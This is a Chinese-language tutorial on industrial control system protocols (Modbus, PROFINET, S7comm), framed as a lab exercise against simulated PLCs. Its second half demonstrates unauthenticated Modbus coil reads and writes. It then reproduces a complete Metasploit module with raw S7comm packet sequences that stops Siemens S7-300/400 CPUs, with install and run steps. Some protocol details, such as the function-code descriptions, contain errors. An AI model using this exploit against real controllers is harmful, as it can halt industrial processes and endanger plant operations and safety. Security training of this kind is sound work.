工业控制系统历史
在可编程逻辑控制器(plc)成为标准之前,工厂车间自动化是通过机架和机架的工业继电器,气动柱塞计时器和电磁计数器来控制电机的启动和停止,阀门的打开以及其他与控制相关的过程交互。运行这种设置的控制程序根本不是程序,而是相互连接的电路、定时器和继电器的组合。通过形成电路径,诸如打开阀门、运行马达和开灯等物理动作就完成了。
经过一些最初的尝试和错误,1975年发布的Modicon 184是第一个被正确称为可编程逻辑控制器的设备。
这些早期型号的plc具有输入和输出信号,继电器线圈/触点内部逻辑,定时器和计数器的工作能力。这些单元的编程最初是用运行在个人计算机上的专有编程软件完成的,通过专有媒体和协议进行通信。随着PLC功能的发展,编程设备及其通信也在不断发展。
很快,运行编程应用程序的基于微软windows的pc机将被用于编程plc。有一台PC机与PLC通信提供了编程的能力
PLC。它还允许更容易的测试和故障排除。通信协议开始于Modbus协议,使用RS-232串行通信媒体。随后,在RS-485、DeviceNet、PROFIBUS和其他串行通信介质上操作的其他自动化通信协议紧随其后。串行通信和各种PLC协议的使用允许PLC与其他PLC联网。
自动抄表协议
你还记得上次收费员停在你家给你抄表是什么时候吗?大量的研究和开发已经投入到创造更方便的方法来获取客户从燃气、电力、制冷等方面的仪表读数。这些解决方案包括:支持射频(RF)的电表,可以在靠近城市街区的地方读取,覆盖智能电表的无线网络,每种解决方案都有自己的安全挑战:
通常用于自动抄表的协议包括AMR、AMI、WiSmart (Wi-Fi)、GSM和电力线通信(PLC)。
下图显示了这些协议通常在ICS体系结构中的位置
企业区内的通信协议
企业区域网络将看到使用HTTP或HTTPS协议的web流量,IMAP、POP3和SMTP形式的电子邮件,文件传输和共享协议(如FTP和SMTP)SMB和许多其他的。所有这些协议都有自己的安全挑战和漏洞。如果你的ICS网络(工业区)和业务网络(企业区)使用相同的物理网络,则这些漏洞可能直接影响你的生产系统。业务系统和生产系统共用一个网络是不安全的。
企业区是工厂或设施连接到Internet的地方,通常通过如下图所示的设置连接到Internet
企业网络通常通过边缘路由器和某种形式的调制解调器连接到互联网,调制解调器将ISP提供的服务(如T1或光载波(OC1)介质)转换为在整个企业网络的其余部分使用的以太网。专用防火墙将使用端口阻塞和流量监控将业务网络安全地连接到ISP网络。企业互联网策略的常见做法是对出站流量使用代理防火墙,同时对传入流量进行严格限制。任何必要的面向公众的服务都将受到保护
企业DMZ中的典型服务公开面对web服务器、公司的公共DNS服务器等。DMZ允许公共交通的着陆区域。如果DMZ中的服务受到威胁,则威胁将包含在DMZ中。进一步的转向尝试将被企业DMZ防火墙捕获
企业内部网络由交换机、路由器、三层交换机、服务器、客户端计算机等终端设备组成。大多数公司都会通过vlan对内部网络进行划分。VLAN间的流量需要经过某种路由设备,比如三层交换机、防火墙或路由器,在这一点上,有访问控制列表(acl)或防火墙规则
近年来,工业区已经从使用专有的OT协议(如PROFIBUS、DeviceNet、ControlNet和Modbus)转变为使用通用的IT技术(如以太网和IP套件协议)。但是,在ICS系统的较低级别中仍然可以找到一些专有协议和网络媒体。下图显示了在ICS体系结构中可以找到其中一些,并提供了简短的描述
A - 硬连线设备:这些设备包括传感器、执行器以及其他使用离散信号(如24 VDC)或模拟信号(如4-20 mA或0-10 VDC)进行操作的设备。这些设备直接连接到PLC扩展IO卡或带有IO卡的远程通信机架中。
B - 现场总线协议:这些主要是专有协议,如DeviceNet、ControlNet、PROFIBUS和Modbus,提供实时控制和监控。这些协议可以将传感器和执行器等终端设备直接连接到PLC,而无需IO模块。它们也可以用于连接PLC或将远程机架连接到PLC。大多数(如果不是全部)现场总线协议都被改造为在以太网上工作并基于IP。
C - 嵌套以太网:尽管从技术上讲这不是一种不同的协议,嵌套以太网是一种隐藏或混淆控制网络部分的方法。只有通过它们所连接的设备才能看到这些部分。
Modbus和Modbus TCP/IP
自1979年推出以来,Modbus一直是事实上的标准。Modbus是一种应用层消息传递协议。它位于OSI模型的第7层,提供通过不同类型的通信总线或通信媒体连接的设备之间的客户机/服务器通信。Modbus是使用最广泛的ICS协议,主要是因为它是一种经过验证的可靠协议,实现简单,并且不需要任何版税即可开放使用:
在上图的左边,我们看到Modbus通过串行通信(RS-232或RS-485)。使用相同的应用层协议进行通信以太网,如右侧所示。
Modbus协议是建立在请求和应答模型之上的。它将函数代码与数据段结合使用。功能代码指定请求或响应哪个服务,数据部分提供应用于该功能的数据。功能码和数据段在协议数据单元PDU (Protocol data Unit)中指定Modbus分组帧:
以下是Modbus功能码列表及其说明:
Function | Description |
---|---|
FC=01 | 读继电器输出 |
FC=02 | 读开关量输入 |
FC=03 | 读取多个保持寄存器 |
FC=04 | 读输入寄存器 |
FC=05 | 写单线圈寄存器 |
FC=06 | 写单线圈保持寄存器 |
FC=07 | 读例外状态 |
FC=08 | 诊断 |
FC=11 | 获取通信事件计数器(仅限串行线) |
FC=12 | 获取通信事件日志(仅限串行线) |
FC=14 | 读取设备标识 |
FC=15 | 写多个线圈 |
FC=16 | 写入多个保持寄存器 |
FC=17 | 报表Slave ID |
FC=20 | 读文件记录 |
FC=21 | 写文件记录 |
FC=22 | 屏蔽写寄存器 |
FC=23 | 读/写多个寄存器 |
FC=24 | 读FIFO队列 |
FC=43 | 读取设备标识 |
每种通信介质的PDU都是相同的。因此,无论使用串行还是以太网都可以找到PDU。Modbus适应不同媒体的方式是通过网络应用数据单元(ADU):
ADU 的结构因所使用的通信介质而异。例如,串行通信的 ADU 由地址头、PDU 和错误校验尾部组成。
另一方面,对于 Modbus TCP/IP,寻址由以太网数据包的 IP 和 TCP 层完成,ADU 帧由 Modbus 应用头 (MBAP) 和 PDU 组成,而省略了错误校验尾部。
Modbus未授权攻击
(arch)$ sudo python3 -m pip install pyModbus
启动异步Modbus服务
# Modbus_server.py
import asyncio
from pymodbus.server.async_io import ModbusTcpServer
from pymodbus.device import ModbusDeviceIdentification
from pymodbus.datastore import ModbusSequentialDataBlock, ModbusSlaveContext, ModbusServerContext
# Create a datastore and populate it with test data
store = ModbusSlaveContext(
di=ModbusSequentialDataBlock(0, [17] * 100), # Discrete Inputs initializer
co=ModbusSequentialDataBlock(0, [17] * 100), # Coils initializer
hr=ModbusSequentialDataBlock(0, [17] * 100), # Holding Registers initializer
ir=ModbusSequentialDataBlock(0, [17] * 100) # Input Registers initializer
)
context = ModbusServerContext(slaves=store, single=True)
# Populate the Modbus server information fields, these get returned as response to identity queries
identity = ModbusDeviceIdentification()
identity.VendorName = 'PyModbus Inc.'
identity.ProductCode = 'PM'
identity.VendorUrl = 'https://github.com/riptideio/pymodbus'
identity.ProductName = 'Modbus Server'
identity.ModelName = 'PyModbus'
identity.MajorMinorRevision = '1.0'
# Start the listening server
async def run_server():
print("Starting Modbus server...")
server = ModbusTcpServer(context, identity=identity, address=("0.0.0.0", 502))
await server.serve_forever()
# Run the server
if __name__ == "__main__":
asyncio.run(run_server())
(arch)$ sudo python3 Modbus_server.py
(kali)$ sudo gem install modbus-cli
modbus 是一个命令行工具,用于与支持 Modbus 协议的设备进行通信。Modbus 是一种常用的工业通信协议,通常用于自动化设备、传感器和控制器之间的通信
例如,下面的命令将输出并读取线圈1的状态:
从 %M1 开始读取连续的 5 个寄存器或状态位的值
(kali)$ modbus read 192.168.101.144 %M1 5
Modbus 用户将会识别到请求寄存器的语法,%M,它表示线圈位。
Modbus 命令支持地址区域 1 到 99999 用于线圈,以及 400001 到 499999 用于其余的寄存器,使用 Modicon 地址格式。在 Schneider 地址格式中,%M 地址与 %MW 的值位于不同的内存中,但是 %MW、%MD 和 %MF 都共享同一块内存。因此,%MW0 和 %MW1 与 %MF0 共享同一块内存空间。
Data type | Data size | Schneider address | Modicon address | Parameter |
---|---|---|---|---|
Words (unsigned) | 16 bits | %MW1 | 400001 | --word |
Integer (signed) | 16 bits | %MW1 | 400001 | --int |
Floating point | 32 bits | %MF1 | 400001 | --float |
Double words | 32 bits | %MD1 | 400001 | --dword |
Boolean (coils) | 1 bit | %M1 | N/A | N/A |
该命令创建以下请求报文:
读取前5个输入寄存器:
(kali)$ modbus read 192.168.101.144 1 5
读取从地址400001开始的10个整数寄存器:
(kali)$ modbus read --word 192.168.101.144 400001 10
对线圈写入:
(kali)$ modbus write 192.168.101.144 1 0
可能性是广泛的。请随意使用它们并进行实验。从这个练习中得到的最大收获应该是,这些命令都不需要任何形式的身份验证或授权。这意味着任何知道支持modbus的设备(PLC)地址的人都可以读写其内存和I/O库。
ICS安全:https://www.cisa.gov/topics/industrial-control-systems
网站 www.cisa.gov 属于美国国土安全部(Department of Homeland Security, DHS)下属的一个机构,称为“国家网络与信息安全局”(Cybersecurity and Infrastructure Security Agency, CISA)。CISA 的职责包括协调和增强美国的网络和信息基础设施的安全性,以及对抗网络威胁和攻击,提供技术支持和建议,以确保国家的网络安全和信息基础设施的保护。
PROFINET
Process Field Net(PROFINET)是一种符合IEC 61784-2标准的工业技术标准。它用于在工业以太网上进行数据通信,设计用于从工业系统中收集数据并控制设备,其传输时间接近1毫秒。该标准由位于德国卡尔斯鲁厄的PROFIBUS & PROFINET国际(PI)维护和支持。
PROFINET不应与PROFIBUS混淆,PROFIBUS是一种用于实时自动化目的的现场总线通信标准,最初由德国教育和研究部门于1989年引入,后来由西门子采用。下图显示了工业控制系统中每种协议的具体位置。
PROFINET支持Ethernet、HART、ISA100和Wi-Fi,以及旧设备上发现的传统总线,以消除替换这些遗留系统的需求。尽管这降低了拥有成本,但对遗留设备及其协议的向后兼容性使得实施容易受到标准Internet协议攻击和漏洞的影响,例如重放攻击、嗅探和数据包篡改。
PROFINET标准使用以下三种服务:
- TCP/IP,它提供了大约100毫秒的响应时间
- 实时(RT)协议,使用10毫秒的周期时间
- 等时实时(IRT),使用1毫秒的周期时间
PROFINET TCP/IP和RT协议共同工作,基于工业以太网。RT协议通过在网络数据包中省略TCP和IP层来缩短响应时间,使得实时协议成为仅在本地网络中使用的协议,不支持路由。PROFINET在配置或诊断时使用TCP/IP协议,但在需要确定性消息时跳过传输控制协议(TCP)和因特网协议(IP)层。等时实时协议使用以太网堆栈的扩展,需要专用硬件来运行。
以下是PROFINET标准中定义的一些协议列表。虽然还有更多,但这些协议最常见于遵循PROFINET标准的工业网络中:
- PROFINET TCP/IP:用于配置和诊断,支持TCP/IP协议栈。
- PROFINET RT(Real-Time实时协议):用于要求响应时间更短的应用场景,省略了TCP和IP层,仅在本地网络内使用,不支持路由。
- 等时实时协议(Isochronous Real-Time):使用以太网堆栈的扩展,需要特殊的硬件支持。
- PROFINET/IO:用于与现场IO设备进行通信的协议。
- PROFINET/MRP:MRP代表媒体冗余协议。这个协议用于实现冗余技术的网络中,通过提供次要处理、IO和通信来最大化可用性。
- PROFINET/PTCP:PTCP代表精密时间控制协议。这是一个链路层协议,用于在PLC之间同步时钟和时间源。
- PROFINET/RT:实时协议,用于实时传输数据。
- PROFINET/MRRT:MRRT提供PROFINET/RT协议的媒体冗余,即提供备用通信路径。
S7通信协议停止CPU漏洞
PROFINET标准中没有直接包含,但通常与之在同一工厂区域或工业控制系统(ICS)网络中使用的是S7comm协议。S7comm(也称为S7通信)是西门子的专有协议,允许可编程逻辑控制器(PLC)之间或PLC与编程终端之间进行通信。它用于简化PLC的编程、多个PLC之间的通信,或者SCADA(监控与数据采集)系统与PLC之间的通信。S7comm协议基于COTP(连接导向传输协议),后者是ISO协议族中的连接传输协议。更多关于ISO协议族的详细信息,请参阅https://wiki.wireshark.org/IsoProtocolFamily。
下表显示了ISO协议族核心协议的简化概述:
Sr. | OSI layer | Protocol |
---|---|---|
7 | Application layer | S7 communication |
6 | Presentation layer | S7 communication |
5 | Session layer | S7 communication |
4 | Transport layer | COTP |
3 | Network layer | Internet Protocol |
2 | Data link layer | Ethernet |
1 | Physical layer | Ethernet |
建立与S7 PLC的连接有三个步骤:
- 在TCP端口102上连接到PLC。
- 在ISO层上进行连接(2. COTP连接请求)。
- 在S7comm层上进行连接(3.s7comm.param.func = 0xf0,设置通信)。
步骤1使用PLC/CP的IP地址
第2步使用一个长度为2字节的目标TSAP作为目的地。目标TSAP的第一个字节编码通信类型(1=PG, 2=OP)。目标TSAP的第二个字节编码机架和槽号:这是PLC CPU的位置。槽号编码在位0-4中,机架号编码在位5-7中。
第3步用于协商S7comm特定的细节(例如PDU大小)。
在Siemens PLC中存在一个已知的功能/漏洞,攻击者可以利用这一漏洞远程停止S7 PLC。让我们看看这种漏洞是如何被攻击的。
(arch)$ sudo python3 -m pip install python-snap7
>>> import snap7
>>> s7server = snap7.server.Server()
>>> s7server.create()
>>> s7server.start()
>>> s7server.get_status()
我们可以看到当前模拟PLC的状态运行中
通过msf进行漏洞利用
(kali)$ msfconsole
msf> searchsploit -w 'Siemens Simatic S7'
我们需要将模块载入msf
需要将OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
修改为OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),
最后的脚本
# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
'Description' => %q{
The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
this modules allows an attacker to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and START, allowing an attacker to end process control by the PLC.
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'May 09 2011'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),
OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
], self.class)
end
def run_host(ip)
begin
cpu = datastore['MODE'] || ''
cycles = datastore['CYCLES'] || ''
stop_cpu_pkt =
[
"\x03\x00\x00\x16\x11\xe0\x00\x00"+
"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
"\x02\x01\x02\xc0\x01\x09",
"\x03\x00\x00\x19\x02\xf0\x80\x32"+
"\x01\x00\x00\xff\xff\x00\x08\x00"+
"\x00\xf0\x00\x00\x01\x00\x01\x03"+
"\xc0",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x00\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x40\x00\x01\x84\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x21\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x02\x00\x10\x00"+
"\x00\x29\x00\x00\x00\x00\x00\x09"+
"\x50\x5f\x50\x52\x4f\x47\x52\x41"+
"\x4d",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00"
]
start_cpu_pkt =
[
"\x03\x00\x00\x16\x11\xe0\x00\x00"+
"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
"\x02\x01\x02\xc0\x01\x09",
"\x03\x00\x00\x19\x02\xf0\x80\x32"+
"\x01\x00\x00\xff\xff\x00\x08\x00"+
"\x00\xf0\x00\x00\x01\x00\x01\x03"+
"\xc0",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x00\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x40\x00\x01\x84\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x25\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x02\x00\x14\x00"+
"\x00\x28\x00\x00\x00\x00\x00\x00"+
"\xfd\x00\x00\x09\x50\x5f\x50\x52"+
"\x4f\x47\x52\x41\x4d"
]
# CPU STOP
if(cpu == 1)
connect()
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# CPU START
if(cpu == 2)
connect()
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# STOP / START CPU
for n in 0..cycles
if(cpu == 3)
connect()
# We assume PLC is up and running (issue a stop command)
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
connect()
# We assume PLC is has been stopped (issue a start command)
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
end
data = sock.get_once()
print_good("#{ip} PLC is running, iso-tsap port is open.")
if(cpu == 'true')
print_status("Putting the PLC into START mode.")
elsif(cpu == 'false')
print_status("Putting the PLC into STOP mode.")
end
disconnect()
rescue ::EOFError
end
end
end
保存名为S7.rb
$ cd ~/.msf4/modules/
$ mkdir -p auxiliary/hardware/scada
$ cp /home/maptnh/Desktop/S7.rb ~/.msf4/modules/auxiliary/hardware/scada/
$ service postgresql start
msf> search siemens
msf> use auxiliary/hardware/scada/S7
西门子Simatic S7-300/400 S7 CPU在ISO-TSAP上的启动和停止功能存在漏洞,允许攻击者在未经身份验证的情况下执行管理命令。该模块允许远程用户在PLC的STOP和START状态之间切换,使攻击者能够终止PLC的过程控制。
msf> set RHOSTS 192.168.101.144
msf> exploit
PLC被停止了
为什么会成功呢?如果你还记得,PROFINET和大多数其他ICS协议不包括使用身份验证的功能。任何拥有适当工具和PLC地址知识的人都可以发送此停止命令。用于查找HEX值的停止命令序列的方法与我们在前面的练习中查找用于发现本地网络连接节点的命令的方法几乎相同。它可以归结为监视编程站与PLC或终端设备之间的通信。